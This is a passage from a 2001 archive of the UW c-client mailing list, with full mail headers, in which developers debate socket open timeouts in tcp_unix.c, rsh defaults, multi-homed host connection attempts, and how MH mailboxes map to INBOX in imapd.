then it gets to the read(), which ignores the ICMP destination unreachable, and thus you have to wait for the read() to time out internally. I don't know of any way to work around this problem. This is how UNIX sockets are specified. If there's a way to test for ICMP unreachable prior to doing the blocking read(), I don't know of it. As far as I know, the choices are either: . use blocking connect(), and live with the 75 second fixed open timeout . use non-blocking connect() + select() + blocking read(), which gives you variable open timeouts, and live with the delays when your network is broken. > Yes, disabling rsh in my client was the first thing I did (although it is > off topic, I really don't think this should be enabled by default - just > how many servers support it nowawdays and how often is it useful?). We use it quite extensively. Your client should not unilaterally disable it. It should allow the user to decide. > BTW, another OT gripe: the ISP server I use (imap.online.fr) has 3 IP > addresses. Normally this is just fine but if the network is completely > down (i.e. the modem hung up) c-client tries to connect to each of these > addresses in turn although it is clear that it can't succeed. Is there any > way to disable this behaviour (ideally it should be smart enough to > distinguish between various network problems but this would be difficult)? You can specify an explict IP address instead of the name. I think that you've verified what I said. Your network connectivity is broken. From pinedev@shivax2.cac.washington.edu Thu Aug 30 10:28:57 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 10:28:53 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UHSon14060 for ; Thu, 30 Aug 2001 10:28:51 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 10:28:47 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UHSiP29232; Thu, 30 Aug 2001 10:28:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UHSPp06974; Thu, 30 Aug 2001 10:28:25 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UHQd0105034 for ; Thu, 30 Aug 2001 10:26:40 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f7UHQc702139 for ; Thu, 30 Aug 2001 10:26:39 -0700 Received: FROM dag.newtech.fi BY mxu1.u.washington.edu ; Thu Aug 30 10:26:37 2001 -0700 Received: (qmail 31839 invoked by uid 200); 30 Aug 2001 17:26:31 -0000 Message-Id: <20010830172631.31838.qmail@dag.newtech.fi> Date: Thu, 30 Aug 2001 20:26:31 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client Cc: dag@newtech.fi Subject: MH again Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am trying to get imapd to understand INBOX as MH inbox and it seems to work pretty well now. But there is some parts of the code that would need some clarification: 1. mh_ping tries to get messages from sysinbox() ?? This must surely be the task of MH itself,otherwise it will bypass all procmail etc. stuff. Mark ? 2. Is there a good reason for not using setcasecmp instead of the comlicated construct in the current code ? As it seems that we need both MH and Mailbox support the code would try to be transparent in the way that INBOX will mean the MH inbox if there exists a $HOME/.mh_profile file, otherwise it would work the way it did before. The only change will be in mh.c. Could Mark imagine accepting the patch in the main code when I get it done ? BRGDS -- = Dag Nygren email: dag@newtech.fi Oy Espoon NewTech Ab phone: +358 9 8024910 Tr=E4sktorpet 3 fax: +358 9 8024916 02360 ESBO Mobile: +358 400 426312 FINLAND -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 30 10:59:05 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 10:59:04 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UHx0n18339 for ; Thu, 30 Aug 2001 10:59:00 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 10:58:59 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UHwvB05013; Thu, 30 Aug 2001 10:58:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UHvkH29756; Thu, 30 Aug 2001 10:57:46 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UHuc085678 for ; Thu, 30 Aug 2001 10:56:38 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f7UHub714633 for ; Thu, 30 Aug 2001 10:56:37 -0700 Received: FROM shiva.jussieu.fr BY mxu1.u.washington.edu ; Thu Aug 30 10:56:36 2001 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f7UHuVO76397 for ; Thu, 30 Aug 2001 19:56:32 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f7UHuVS11931 for ; Thu, 30 Aug 2001 19:56:31 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id TAA26989 ; Thu, 30 Aug 2001 19:56:30 +0200 Message-Id: <200108301756.TAA26989@seth.lpthe.jussieu.fr> Date: Thu, 30 Aug 2001 19:56:30 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: blocking read in tcp_socket_open() (tcp_unix.c) In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 29 Aug 2001 19:41:46 -0700 (PDT) Mark Crispin wrote: MC> Hence the 1-byte read(). It's the only way to know whether or not the MC> connection is actually open. Why not do a non blocking read()? If select() returned that input is available, it should succeed, shouldn't it? I.e. why wouldn't it work if I just move the line fcntl (sock,F_SETFL,flgs);/* restore blocking status */ after read()? MC> You have network connectivity problems, and these problems cause ICMP MC> destination unreachable signals. ICMP destination unreachable causes a MC> blocking connect() to fail, but is completely ignored by read() and write() How does it explain that it does connect finally? No, I think my explanation is correct: the server is just overloaded and so sometimes it accepts the connection but doesn't put the greeting string until much later. MC> We use it quite extensively. Your client should not unilaterally disable it. MC> It should allow the user to decide. It does, but it's off by default. MC> You can specify an explict IP address instead of the name. Sure I can (and did), but what about the users? The programs are supposed to be user-friendly nowadays... MC> I think that you've verified what I said. Your network connectivity is MC> broken. I can run the sniffer to check it, but I really doubt it is (well, my connectivity is surely fine as I don't get such problems with any other programs/servers, maybe there is something wrong at the ISP end, of course, but I don't think so). Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 30 11:01:14 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 11:01:14 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UI1Dn02583 for ; Thu, 30 Aug 2001 11:01:13 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 11:01:12 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UI18P30939; Thu, 30 Aug 2001 11:01:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UI0tE25334; Thu, 30 Aug 2001 11:00:55 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UHxr012124 for ; Thu, 30 Aug 2001 10:59:53 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f7UHxr715893 for ; Thu, 30 Aug 2001 10:59:53 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu1.u.washington.edu ; Thu Aug 30 10:59:53 2001 -0700 Message-Id: Date: Thu, 30 Aug 2001 10:48:36 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dag Nygren Cc: c-client Subject: re: MH again In-Reply-To: <20010830172631.31838.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Aug 2001 20:26:31 +0300, Dag Nygren wrote: > 1. mh_ping tries to get messages from sysinbox() ?? > This must surely be the task of MH itself,otherwise > it will bypass all procmail etc. stuff. I don't know what you mean by "bypass all procmail, etc. stuff". Procmail is run at mail delivery time, not by the MUA (including c-client). Presumably, an IMAP user wants to see new mail when it comes in. That's why mh_ping() does that. You can always open #mh/inbox instead of #mhinbox if you don't want mh_ping() to do that; this behavior is a special behavior of the #mhinbox name. > 2. Is there a good reason for not using setcasecmp > instead of the comlicated construct in the current > code ? Presumably you mean strcasecmp(), and the answer is yes. Not all systems have strcasecmp(). Actually, the c-client version is compare_cstring() but not all existing code has been hacked to use it yet. > As it seems that we need both MH and Mailbox support > the code would try to be transparent in the way that > INBOX will mean the MH inbox if there exists a $HOME/.mh_profile > file, otherwise it would work the way it did before. > The only change will be in mh.c. > Could Mark imagine accepting the patch in the > main code when I get it done ? No. It was once that way, and it won't be changed back. There is a reason why #mhinbox is used for that purpose instead of using INBOX. MH format does not support full c-client semantics. If INBOX was automatic for MH, then there's a nasty timebomb waiting for anyone who tried mh years and years ago, decided they didn't like it, but didn't go and delete the .mh_profile file. Their mail will get converted to MH, but a number of things (such as sticky flags, UIDs, etc.) will stop working. This actually happened back when INBOX was automatic for MH, and it bit people. Let's just say that the experience, after a Very High Up individual at my workplace was bit, was sufficiently unpleasant for me that it will be a cold day in hell before I ever let INBOX be automatic for mh. The relatively few number of people who really want MH must use #mhinbox instead of INBOX. Most people don't, since so many things won't work afterwards. From pinedev@shivax2.cac.washington.edu Thu Aug 30 11:12:46 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 11:12:45 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UICin12752 for ; Thu, 30 Aug 2001 11:12:44 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 11:12:43 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UICfB05858; Thu, 30 Aug 2001 11:12:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UICSX04746; Thu, 30 Aug 2001 11:12:28 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UIBa0105154 for ; Thu, 30 Aug 2001 11:11:36 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f7UIBa720312 for ; Thu, 30 Aug 2001 11:11:36 -0700 Received: FROM dag.newtech.fi BY mxu1.u.washington.edu ; Thu Aug 30 11:11:35 2001 -0700 Received: (qmail 32495 invoked by uid 200); 30 Aug 2001 18:11:30 -0000 Message-Id: <20010830181130.32494.qmail@dag.newtech.fi> Date: Thu, 30 Aug 2001 21:11:30 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: Mark Crispin Cc: Dag Nygren , c-client , dag@newtech.fi Subject: Re: MH again In-Reply-To: Message from Mark Crispin of "Thu, 30 Aug 2001 10:48:36 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Thu, 30 Aug 2001 20:26:31 +0300, Dag Nygren wrote: > > 1. mh_ping tries to get messages from sysinbox() ?? > > This must surely be the task of MH itself,otherwise > > it will bypass all procmail etc. stuff. > = > I don't know what you mean by "bypass all procmail, etc. stuff". Procm= ail is > run at mail delivery time, not by the MUA (including c-client). > = > Presumably, an IMAP user wants to see new mail when it comes in. That'= s why > mh_ping() does that. You can always open #mh/inbox instead of #mhinbox= if you > don't want mh_ping() to do that; this behavior is a special behavior of= the > #mhinbox name. But MH will deliver my mail to #mh/inbox automatically and that's where I can find the newly arrived mail's, not in sysinbox. If imapd would do that "delivery" part for me, it would just move it ther= e and bypass the additional processing. > > 2. Is there a good reason for not using setcasecmp > > instead of the comlicated construct in the current > > code ? > = > Presumably you mean strcasecmp(), and the answer is yes. Not all syste= ms have > strcasecmp(). Actually, the c-client version is compare_cstring() but = not all > existing code has been hacked to use it yet. OK. > > As it seems that we need both MH and Mailbox support > > the code would try to be transparent in the way that > > INBOX will mean the MH inbox if there exists a $HOME/.mh_profile > > file, otherwise it would work the way it did before. > > The only change will be in mh.c. > > Could Mark imagine accepting the patch in the > > main code when I get it done ? > = > No. It was once that way, and it won't be changed back. There is a re= ason > why #mhinbox is used for that purpose instead of using INBOX. > = > MH format does not support full c-client semantics. If INBOX was autom= atic > for MH, then there's a nasty timebomb waiting for anyone who tried mh y= ears > and years ago, decided they didn't like it, but didn't go and delete th= e > .mh_profile file. Their mail will get converted to MH, but a number of= things > (such as sticky flags, UIDs, etc.) will stop working. That's true. > This actually happened back when INBOX was automatic for MH, and it bit= > people. Let's just say that the experience, after a Very High Up indiv= idual > at my workplace was bit, was sufficiently unpleasant for me that it wil= l be a > cold day in hell before I ever let INBOX be automatic for mh. OK, I accept that. What about a compilation option then ? > The relatively few number of people who really want MH must use #mhinbo= x > instead of INBOX. Most people don't, since so many things won't work > afterwards. The problem is that not very many clients give you that option.... And additionally if you want to use the POP-part of imapd it will always access INBOX. BRGDS Dag From pinedev@shivax2.cac.washington.edu Thu Aug 30 11:21:41 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 11:21:41 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UILcn05721 for ; Thu, 30 Aug 2001 11:21:39 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 11:21:37 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UILYB06288; Thu, 30 Aug 2001 11:21:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UILSE23162; Thu, 30 Aug 2001 11:21:28 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UIKu080998 for ; Thu, 30 Aug 2001 11:20:56 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UIKtq15509 for ; Thu, 30 Aug 2001 11:20:55 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu4.u.washington.edu ; Thu Aug 30 11:20:55 2001 -0700 Message-Id: Date: Thu, 30 Aug 2001 11:01:09 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[2]: blocking read in tcp_socket_open() (tcp_unix.c) In-Reply-To: <200108301756.TAA26989@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Aug 2001 19:56:30 +0200 (CET), Vadim Zeitlin wrote: > Why not do a non blocking read()? If select() returned that input is > available, it should succeed, shouldn't it? I.e. why wouldn't it work if I > just move the line > fcntl (sock,F_SETFL,flgs);/* restore blocking status */ > after read()? Because when there really is an error on the socket, the non-blocking read would not return the error. The whole purpose of the read() is to get the error. If I'm lucky, it will return EWOULDBLOCK but not on all platforms. > How does it explain that it does connect finally? ICMP destination unreachable means exactly that; the network can not deliver to that destination. Only blocking connect() pays attention to that; read() does not. In this one case, the read() does the blocking that the connect() would have done. It blocks until either there's some other error (including internal timeout) or the connection gets established and data comes through. This is how sockets are designed. It's a deficient design, but it's widely implemented and we're stuck with it. > No, I think my > explanation is correct: the server is just overloaded and so sometimes it > accepts the connection but doesn't put the greeting string until much > later. If that explanation was correct, and I doubt that it is, it would not make one bit of difference to you. After opening the TCP connection, c-client would read the greeting banner from the host. It will block to do so. You will not get back control until after the greeting banner is read. That's right; mail_open(), nntp_open(), and smtp_open() will NOT return until they have read the entire greeting. > MC> You can specify an explict IP address instead of the name. > Sure I can (and did), but what about the users? The programs are supposed > to be user-friendly nowadays... The entire reason why hosts are multi-homed, and advertise that fact, is so clients automatically try all the offered addresses. The practice of "try the first address and give up if it can't connect to that address" went out of fashion in the mid-1980s. If a client that I used followed that practice, I would not be able to read my own mail on one of my servers, since one of the IP addresses on that server is inaccessible unless you are on the correct side of a firewall. Please understand. You have a relatively uncommon problem, caused by your network connectivity and/or server being broken. It is too late in the imap-2001 development cycle to make a change which can potentially impact many people (particularly on an OS variant that I can't test here) in a bad way. With any luck tommorrow's FTP tarball will be a release candidate. I have received a few technical suggestions on how I can test for error, and I will consider them during development of the next release. It just can't be done now. There's too many OS variants that would be affected. From pinedev@shivax2.cac.washington.edu Thu Aug 30 11:23:36 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 11:23:35 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UINYn14546 for ; Thu, 30 Aug 2001 11:23:35 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 11:23:34 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UINVB06340; Thu, 30 Aug 2001 11:23:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UIMOE28248; Thu, 30 Aug 2001 11:22:24 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UILk0107246 for ; Thu, 30 Aug 2001 11:21:46 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f7UILk724392 for ; Thu, 30 Aug 2001 11:21:46 -0700 Received: FROM shiva.jussieu.fr BY mxu1.u.washington.edu ; Thu Aug 30 11:21:44 2001 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f7UIKNO79342 ; Thu, 30 Aug 2001 20:20:23 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f7UIKMS12019 ; Thu, 30 Aug 2001 20:20:22 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id UAA27181 ; Thu, 30 Aug 2001 20:20:22 +0200 Message-Id: <200108301820.UAA27181@seth.lpthe.jussieu.fr> Date: Thu, 30 Aug 2001 20:20:22 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu, Mark Crispin Subject: Re[2]: MH again In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Aug 2001 10:48:36 -0700 (PDT) Mark Crispin wrote: MC> Their mail will get converted to MH, but a number of things MC> (such as sticky flags, UIDs, etc.) will stop working. I wanted to ask this question since a long time ago, so please excuse me if it's slightly off topic to the current discussion: just why is there no support for these features in MH? How is it more difficult to support flags for MH than for MBOX, for example? MH is IMHO much better format than MBOX, but it is completely unusable in c-client :-( Why not enhance MH driver to store the flags in the MH files? Regards, VZ From pinedev@shivax2.cac.washington.edu Thu Aug 30 11:25:08 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 11:25:07 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UIP6n05952 for ; Thu, 30 Aug 2001 11:25:06 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 11:25:05 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UIP2P32114; Thu, 30 Aug 2001 11:25:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UIOqX04528; Thu, 30 Aug 2001 11:24:52 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UINl010938 for ; Thu, 30 Aug 2001 11:23:47 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UINkT03468 for ; Thu, 30 Aug 2001 11:23:46 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu2.u.washington.edu ; Thu Aug 30 11:23:45 2001 -0700 Message-Id: Date: Thu, 30 Aug 2001 11:20:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dag Nygren Cc: c-client Subject: Re: MH again In-Reply-To: <20010830181130.32494.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Aug 2001 21:11:30 +0300, Dag Nygren wrote: > But MH will deliver my mail to #mh/inbox automatically and that's where > I can find the newly arrived mail's, not in sysinbox. If newly arrived messages are delivered to #mh/inbox automatically, then there will never be mail in sysinbox. If newly arrived messages are in sysinbox, then that is where they were delivered. It is then the job of an MUA, such as mh or imapd, to move the messages from sysinbox to #mh/inbox. Procmail is run by mail delivery (sendmail, etc.), not by the MUA. From pinedev@shivax2.cac.washington.edu Thu Aug 30 11:28:32 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 11:28:31 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UISTn20054 for ; Thu, 30 Aug 2001 11:28:29 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 11:28:28 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UISQB06538; Thu, 30 Aug 2001 11:28:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UIRnH38760; Thu, 30 Aug 2001 11:27:49 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UIRD094398 for ; Thu, 30 Aug 2001 11:27:13 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UIRDT04969 for ; Thu, 30 Aug 2001 11:27:13 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu2.u.washington.edu ; Thu Aug 30 11:27:12 2001 -0700 Message-Id: Date: Thu, 30 Aug 2001 11:23:57 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[2]: MH again In-Reply-To: <200108301820.UAA27181@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Aug 2001 20:20:22 +0200 (CET), Vadim Zeitlin wrote: > I wanted to ask this question since a long time ago, so please excuse me > if it's slightly off topic to the current discussion: just why is there no > support for these features in MH? How is it more difficult to support flags > for MH than for MBOX, for example? MH is IMHO much better format than MBOX, > but it is completely unusable in c-client :-( Why not enhance MH driver to > store the flags in the MH files? There is no usable standard for storing c-client flags in mh, and more importantly c-client can not unilaterally create one that will not be trashed by a non-c-client mh application. I would certainly dispute the claim that mh is a "much better format than mbox." Have you done performance testing with mh? It's very slow! From pinedev@shivax2.cac.washington.edu Thu Aug 30 11:42:13 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 11:42:12 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UIg9n16037 for ; Thu, 30 Aug 2001 11:42:10 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 11:42:08 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UIg5B07143; Thu, 30 Aug 2001 11:42:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UIf6p11868; Thu, 30 Aug 2001 11:41:06 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UIe00112934 for ; Thu, 30 Aug 2001 11:40:00 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) 